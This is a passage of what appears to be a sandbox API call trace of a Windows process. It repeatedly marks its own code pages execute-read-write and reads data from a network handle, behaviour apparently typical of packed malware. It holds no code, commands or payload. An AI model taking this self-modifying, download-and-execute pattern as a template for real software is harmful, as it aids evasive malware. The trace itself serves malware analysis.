OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.595] VirtualAlloc (lpAddress=0x1ea84000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea84000 [0135.595] VirtualFree (lpAddress=0x1e834000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0135.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.652] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0135.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.867] VirtualAlloc (lpAddress=0x1e834000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e834000 [0135.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.071] VirtualFree (lpAddress=0x1e820000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0136.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.112] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.208] VirtualAlloc (lpAddress=0x1ea94000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ea94000 [0136.209] VirtualFree (lpAddress=0x1e844000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0136.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0136.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.305] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.410] VirtualAlloc (lpAddress=0x1e844000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e844000 [0136.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.430] VirtualFree (lpAddress=0x1e830000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0136.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.570] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.671] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.827] VirtualAlloc (lpAddress=0x1eaa4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eaa4000 [0136.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: 